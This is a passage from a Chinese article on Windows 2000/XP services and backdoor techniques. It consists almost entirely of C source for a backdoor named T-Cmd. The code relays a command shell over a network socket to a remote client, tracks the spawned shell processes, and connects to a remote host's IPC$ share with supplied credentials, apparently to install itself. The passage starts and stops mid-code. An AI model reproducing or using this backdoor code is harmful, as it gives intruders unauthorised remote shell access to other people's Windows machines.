浅析Windows 2000/XP服务与后门技术

(lpProcessDataEnd==NULL))
{
lpProcessDataHead=lpProcessDataNow;
lpProcessDataEnd=lpProcessDataNow;
}
else
{
lpProcessDataEnd->next=lpProcessDataNow;
lpProcessDataEnd=lpProcessDataNow;
}

hThread[0]=lpProcessInfo.hProcess;
dwProcessId=lpProcessInfo.dwProcessId;
CloseHandle(lpProcessInfo.hThread);
ReleaseMutex(hMutex);

CloseHandle(hWriteShell);
CloseHandle(hReadShell);

sdRead.hPipe = hReadPipe;
sdRead.sClient = sClient;
hThread[1] = CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);
if(hThread[1]==NULL)
{
OutputDebugString("CreateThread of ReadShell(Send) Error !\n");
return -1;
}

sdWrite.hPipe = hWritePipe;
sdWrite.sClient = sClient;
hThread[2] = CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);
if(hThread[2]==NULL)
{
OutputDebugString("CreateThread for WriteShell(Recv) Error !\n");
return -1;
}

dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);
if((dwResult>=WAIT_OBJECT_0) && (dwResult<=(WAIT_OBJECT_0 + 2)))
{
dwResult-=WAIT_OBJECT_0;
if(dwResult!=0)
{
TerminateProcess(hThread[0],1);
}
CloseHandle(hThread[(dwResult+1)%3]);
CloseHandle(hThread[(dwResult+2)%3]);
}

CloseHandle(hWritePipe);
CloseHandle(hReadPipe);

WaitForSingleObject(hMutex,INFINITE);
lpProcessDataLast=NULL;
lpProcessDataNow=lpProcessDataHead;
while((lpProcessDataNow->next!=NULL) && (lpProcessDataNow->dwProcessId!=dwProcessId))
{
lpProcessDataLast=lpProcessDataNow;
lpProcessDataNow=lpProcessDataNow->next;
}
if(lpProcessDataNow==lpProcessDataEnd)
{
if(lpProcessDataNow->dwProcessId!=dwProcessId)
{
OutputDebugString("No Found the Process Handle !\n");
}
else
{
if(lpProcessDataNow==lpProcessDataHead)
{
lpProcessDataHead=NULL;
lpProcessDataEnd=NULL;
}
else
{
lpProcessDataEnd=lpProcessDataLast;
}
}
}
else
{
if(lpProcessDataNow==lpProcessDataHead)
{
lpProcessDataHead=lpProcessDataNow->next;
}
else
{
lpProcessDataLast->next=lpProcessDataNow->next;
}
}
ReleaseMutex(hMutex);

return 0;
}

DWORD WINAPI ReadShell(LPVOID lpParam)
{
SESSIONDATA sdRead=*(PSESSIONDATA)lpParam;
DWORD dwBufferRead,dwBufferNow,dwBuffer2Send;
char szBuffer[BUFFER_SIZE];
char szBuffer2Send[BUFFER_SIZE+32];
char PrevChar;
char szStartMessage[256]="\r\n\r\n\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\r\n\t\t---[ E-mail: TOo2y@safechina.net ]---\r\n\t\t---[ HomePage: www.safechina.net ]---\r\n\t\t---[ Date: 02-05-2003 ]---\r\n\n";
char szHelpMessage[256]="\r\nEscape Character is 'CTRL+]'\r\n\n";

send(sdRead.sClient,szStartMessage,256,0);
send(sdRead.sClient,szHelpMessage,256,0);

while(PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL))
{
if(dwBufferRead>0)
{
ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL);
}
else
{
Sleep(10);
continue;
}

for(dwBufferNow=0,dwBuffer2Send=0;dwBufferNow<dwBufferRead;dwBufferNow++,
dwBuffer2Send++)
{
if((szBuffer[dwBufferNow]=='\n') && (PrevChar!='\r'))
{
szBuffer[dwBuffer2Send++]='\r';
}
PrevChar=szBuffer[dwBufferNow];
szBuffer2Send[dwBuffer2Send]=szBuffer[dwBufferNow];
}

if(send(sdRead.sClient,szBuffer2Send,dwBuffer2Send,0)==SOCKET_ERROR)
{
OutputDebugString("Send in ReadShell Error !\n");
break;
}
Sleep(5);
}

shutdown(sdRead.sClient,0x02);
closesocket(sdRead.sClient);
return 0;
}

DWORD WINAPI WriteShell(LPVOID lpParam)
{
SESSIONDATA sdWrite=*(PSESSIONDATA)lpParam;
DWORD dwBuffer2Write,dwBufferWritten;
char szBuffer[1];
char szBuffer2Write[BUFFER_SIZE];

dwBuffer2Write=0;
while(recv(sdWrite.sClient,szBuffer,1,0)!=0)
{
szBuffer2Write[dwBuffer2Write++]=szBuffer[0];

if(strnicmp(szBuffer2Write,"exit\r\n",6)==0)
{
shutdown(sdWrite.sClient,0x02);
closesocket(sdWrite.sClient);
return 0;
}

if(szBuffer[0]=='\n')
{
if(WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL)==0)
{
OutputDebugString("WriteFile in WriteShell(Recv) Error !\n");
break;
}
dwBuffer2Write=0;
}
Sleep(10);
}

shutdown(sdWrite.sClient,0x02);
closesocket(sdWrite.sClient);
return 0;
}

BOOL ConnectRemote(BOOL bConnect,char *lpHost,char *lpUserName,char *lpPassword)
{
char lpIPC[256];
DWORD dwErrorCode;
NETRESOURCE NetResource;

sprintf(lpIPC,"\\\\%s\\ipc$",lpHost);
NetResource.lpLocalName = NULL;
NetResource.lpRemoteName = lpIPC;
NetResource.dwType = RESOURCETYPE_ANY;
NetResource.lpProvider = NULL;

if(!stricmp(lpPassword,"NULL"))
{
lpPassword=NULL;
}

if(bConnect)
{
printf("Now Connecting ...... ");
while(1)
{
dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);
if((dwErrorCode==ERROR_ALREADY_ASSIGNED)

关键词：浅析Windows 2000/XP服务与后门技术